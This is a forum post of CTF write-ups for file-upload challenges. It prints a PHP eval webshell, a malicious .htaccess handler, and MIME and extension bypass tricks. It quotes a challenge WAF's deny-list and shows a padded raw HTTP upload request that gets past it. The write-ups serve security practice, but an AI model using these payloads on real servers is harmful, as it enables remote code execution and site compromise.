去皮卡多 发表于 2025-1-5 08:55:25

文件上传标题练习

标题练习

easyupload1.0

   MIME(Content-Type)绕过
限制了Content-Type,修改为Content-Type: image/jpeg即可
写入的一句话木马
<?php @eval($_REQUEST['1']);?>
获取flag:
查看phpinfo中的情况变量,这里利用蚁剑连接查找里面的flag是假的
https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=D%3A%5Cdocuments%5C%E7%AC%94%E8%AE%B0%5COWASP%5C01%E6%B3%A8%E5%85%A5%E7%B1%BB%5C%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0.assets%5Cimage-20241231114000723.png&pos_id=img-52jHb08z-1735999345599
easyupload2.0

   文件后缀名绕过
限制了文件后缀名,将.php后缀修改为.pht、.phtm、.phtml等都可以绕过
一句话木马同上,然后利用蚁剑进行连接
easyupload3.0

   .htaccess绕过
上传一个.htaccess
<FilesMatch "jpg">

SetHandler application/x-httpd-php

</FilesMatch>
再上传一个.jpg后缀的木马之后连接即可。
[强网杯 2019]upload

蜀道山2024奶龙牌WAF

   添加大量垃圾字符绕过
给了源码
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $file = $_FILES['upload_file'];

    if ($file['error'] === UPLOAD_ERR_OK) {
      $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);

      $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

      if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
            die("不允许上传此类文件!");
      }


      if ($file['size'] > 2 * 1024 * 1024) {
            die("文件大小超过限制!");
      }

      $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);


      $dangerous_patterns = [
            '/<\?php/i',
            '/<\?=/',
            '/<\?xml/',
            '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
            '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
            '/--\s/',
            '/\/\*\s.*\*\//',
            '/#/',
            '/<script\b.*?>.*?<\/script>/is',
            '/javascript:/i',
            '/on\w+\s*=\s*["\'].*["\']/i',
            '/[\<\>\'\"\\\`\;\=]/',
            '/%{2}/',
            '/&#{1,5};/',
            '/&#x+;/',
            '/system\(/i',
            '/exec\(/i',
            '/passthru\(/i',
            '/shell_exec\(/i',
            '/file_get_contents\(/i',
            '/fopen\(/i',
            '/file_put_contents\(/i',
            '/%u{4}/i',
            '/[^\x00-\x7F]/',
            // 检测路径穿越
            '/\.\.\//',
      ];


      foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("内容包含危险字符,上传被奶龙拦截!");
            }
      }

      $upload_dir = 'uploads/';
      if (!file_exists($upload_dir)) {
            mkdir($upload_dir, 0777, true);
      }

      $new_file_name = $upload_dir . $name;
      print($_FILES['upload_file']);
      if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
            echo "文件上传成功!";
      } else {
            echo "文件保存失败!";
      }
    } else {
      echo "文件上传失败,错误代码:" . $file['error'];
    }
} else {
    ?>
    <!-- 文件上传表单 -->
    <!DOCTYPE html>
    <html lang="zh-CN">
    <div class="upload-container">
      <h2>你能逃出奶龙的WAF吗?</h2>
      <form action="" method="POST" enctype="multipart/form-data">
            <label for="upload_file" class="custom-file-upload">选择文件</label>
            <input type="file" name="upload_file" id="upload_file" class="file-input">
            <input type="submit" value="上传文件" class="submit-btn">
      </form>
    </div>
    <script>
      document.querySelector('.custom-file-upload').addEventListener('click', function() {
            document.getElementById('upload_file').click();
      });
    </script>
    </body>
    </html>
    <?php
}
?>
漏洞利用点1:
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);

      $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

      if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
            die("不允许上传此类文件!");
      }
这段代码获取文件的拓展名,并过滤了ph和hta。
这里可以思考一下让拓展名以后移,比方:1.php.abc
漏洞利用点2:
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
            echo "文件上传成功!";
      }
move_uploaded_file函数是php的一个内置函数,用于将上传的文件从暂时目次移动到指定的目次中。
   当move_uploaded_file函数的参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.
因此可以构造save_path=1.php/. 如许file_text的值为空,就可以绕过黑名单,而且move_uploaded_file函数会忽略掉文件末尾的/. 实现保存文件为1.php
绕过方式:
$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);
因为只读取前5000字节进行校验,可以在一句话木马前面加上脏数据
foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("内容包含危险字符,上传被奶龙拦截!");
            }
      }
这里的preg_match函数也可以利用PCRE回溯次数限制来绕过
而且注意文件名称由下面这段代码决定
$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
payload数据包:
POST /?name=1.php/. HTTP/1.1Host: gz.imxbt.cn:20116User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflate, brContent-Type: multipart/form-data; boundary=---------------------------3963895074739992901366514230Content-Length: 5770Origin: http://gz.imxbt.cn:20116Connection: closeReferer: http://gz.imxbt.cn:20116/Upgrade-Insecure-Requests: 1Priority: u=0, i-----------------------------3963895074739992901366514230Content-Disposition: form-data; name="upload_file"; filename="1.php/."Content-Type: application/octet-stream1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111<?php @eval($_REQUEST['1']);?>
-----------------------------3963895074739992901366514230--
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 文件上传标题练习